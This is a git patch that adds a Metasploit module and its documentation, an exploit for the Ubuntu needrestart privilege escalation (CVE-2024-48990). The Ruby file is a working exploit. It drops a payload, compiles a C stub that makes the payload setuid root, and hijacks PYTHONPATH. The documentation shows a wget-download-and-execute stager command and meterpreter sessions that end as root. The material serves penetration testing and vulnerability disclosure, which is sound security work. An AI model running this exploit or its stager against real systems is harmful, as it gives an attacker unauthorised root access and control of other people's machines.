From 94e5e49052d4f0f165a3220a488ec33a53b082a2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Nov 2024 15:44:45 -0500 Subject: [PATCH] ubuntu needrestart lpe --- .../linux/local/ubuntu_needrestart_lpe.md | 120 ++++++++++++ .../linux/local/ubuntu_needrestart_lpe.rb | 184 ++++++++++++++++++ 2 files changed, 304 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md create mode 100644 modules/exploits/linux/local/ubuntu_needrestart_lpe.rb diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md new file mode 100644 index 0000000000..9b104611ec --- /dev/null +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -0,0 +1,120 @@ +The following is the recommended format for module documentation. But feel free to add more content/sections to this. +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. + +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +msf6 > use exploit/multi/script/web_delivery +998 +run[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set target 7 +target => 7 +msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(multi/script/web_delivery) > set lport 4998 +lport => 4998 +msf6 exploit(multi/script/web_delivery) > set srvport 8998 +srvport => 8998 +msf6 exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4998 +[*] Using URL: http://1.1.1.1:8998/dKtdkMS +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 + +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: h00die +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe + verbose true +run +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 +lport => 4977 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 +session => 1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true +verbose => true +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run + +[*] Started reverse TCP handler on 1.1.1.1:4977 +[*] Running automatic check ("set AutoCheck false" to disable) + +[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 +[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... +[*] Uploading payload: /tmp/.1K8Hy2tOtq +[*] Uploading c_stub: /tmp/.hnPKdLeU2s.c +[*] Uploading py_script: /tmp/.FzzlJ +[*] Uploading build and run script: /tmp/.h0IkpDa +[*] Launching exploit, and waiting for needrestart to run... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted +[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: +[*] +[*] Traceback (most recent call last): +[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage +[*] exec(line) +[*] File "", line 1, in +[*] ImportError: dynamic module does not define module export function (PyInit_importlib) +[*] +[*] Remainder of file ignored +[*] ######################### +[*] +[*] Dont mind the error message above +[*] +[*] Waiting for needrestart to run... +[*] Payload owned by: root +[+] Deleted /tmp/.1K8Hy2tOtq +[+] Deleted /tmp/.hnPKdLeU2s.c +[+] Deleted /tmp/.FzzlJ +[+] Deleted /tmp/.h0IkpDa +[+] Deleted /tmp/importlib +[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 + +meterpreter > +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb new file mode 100644 index 0000000000..141fdc8af3 --- /dev/null +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes: has_gcc? + include Msf::Post::Linux::System + # includes: kernel_release + include Msf::Post::Linux::Kernel + # includes writable?, upload_file, upload_and_chmodx, exploit_data + include Msf::Post::File + # includes generate_payload_exe + include Msf::Exploit::EXE + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + # includes: COMPILE option, live_compile?, upload_and_compile + # strip_comments + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu needrestart Privilege Escalation', + 'Description' => %q{ + local attackers can execute arbitrary code as root by + tricking needrestart into running the Python interpreter with an + attacker-controlled PYTHONPATH environment variable. + + Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'makuga01', # PoC + 'qualys' # original advisory + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Stance' => Msf::Exploit::Stance::Passive, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], + [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], + [ 'CVE', '2024-48990'] + ], + 'DisclosureDate' => '2024-11-19', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, ] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + fixed_versions = { + '24.10' => Gem::Version.new('3.6-8ubuntu4.2'), + '24.04' => Gem::Version.new('3.6-7ubuntu4.3'), + '22.04' => Gem::Version.new('3.5-5ubuntu2.2'), + '20.04' => Gem::Version.new('3.4-6ubuntu0.1.esm1'), + '18.04' => Gem::Version.new('3.1-1ubuntu0.1.esm1'), + '16.04' => Gem::Version.new('2.6-1ubuntu0.1.esm1') + } + if file? '/etc/issue' + version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip + version = version.slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') + package = package.split(' ')[2] + package = package.gsub('+', '.') + if package && Gem::Version.new(package) < fixed_versions[version] + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") + else + return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") + end + end + + CheckCode::Safe("app #{package} is not vulnerable") + end + + # + # The exploit method drops a payload file to the system, then either compiles and runs + # or just runs the exploit on the system. + # + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + vprint_status("Uploading payload: #{payload_path}") + register_files_for_cleanup(payload_path) + + c_stub = %|#include +#include +#include +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &"; + system(shell); +}| + + c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c" + write_file c_stub_path, c_stub + vprint_status("Uploading c_stub: #{c_stub_path}") + register_files_for_cleanup(c_stub_path) + + py_script = %|import os +import time +import pwd + +print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...") + +while True: + file_stat = os.stat('#{payload_path}') + username = pwd.getpwuid(file_stat.st_uid).pw_name + if (username == 'root'): + print("Payload owned by: " + username) + os.system('#{payload_path} &') + break + time.sleep(1)| + + py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file py_stub_path, py_script + vprint_status("Uploading py_script: #{py_stub_path}") + register_files_for_cleanup(py_stub_path) + + build_run_script = %|#!/bin/bash + +set -e +mkdir -p "#{base_dir}/importlib" + +# Compile lib.c into the prepared PYTHONPATH +gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path} + +# Set the malicious PYTHONPATH and run a py script that waits for the shell +PYTHONPATH="#{base_dir}" python3 #{py_stub_path}| + + build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file build_run_path, build_run_script + cmd_exec "chmod +x #{build_run_path}" + vprint_status("Uploading build and run script: #{build_run_path}") + register_files_for_cleanup(build_run_path) + + register_dir_for_cleanup("#{base_dir}/importlib") + + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + timeout = 86_400 # 24 hours + print_status 'Launching exploit, and waiting for needrestart to run...' + output = cmd_exec build_run_path, nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end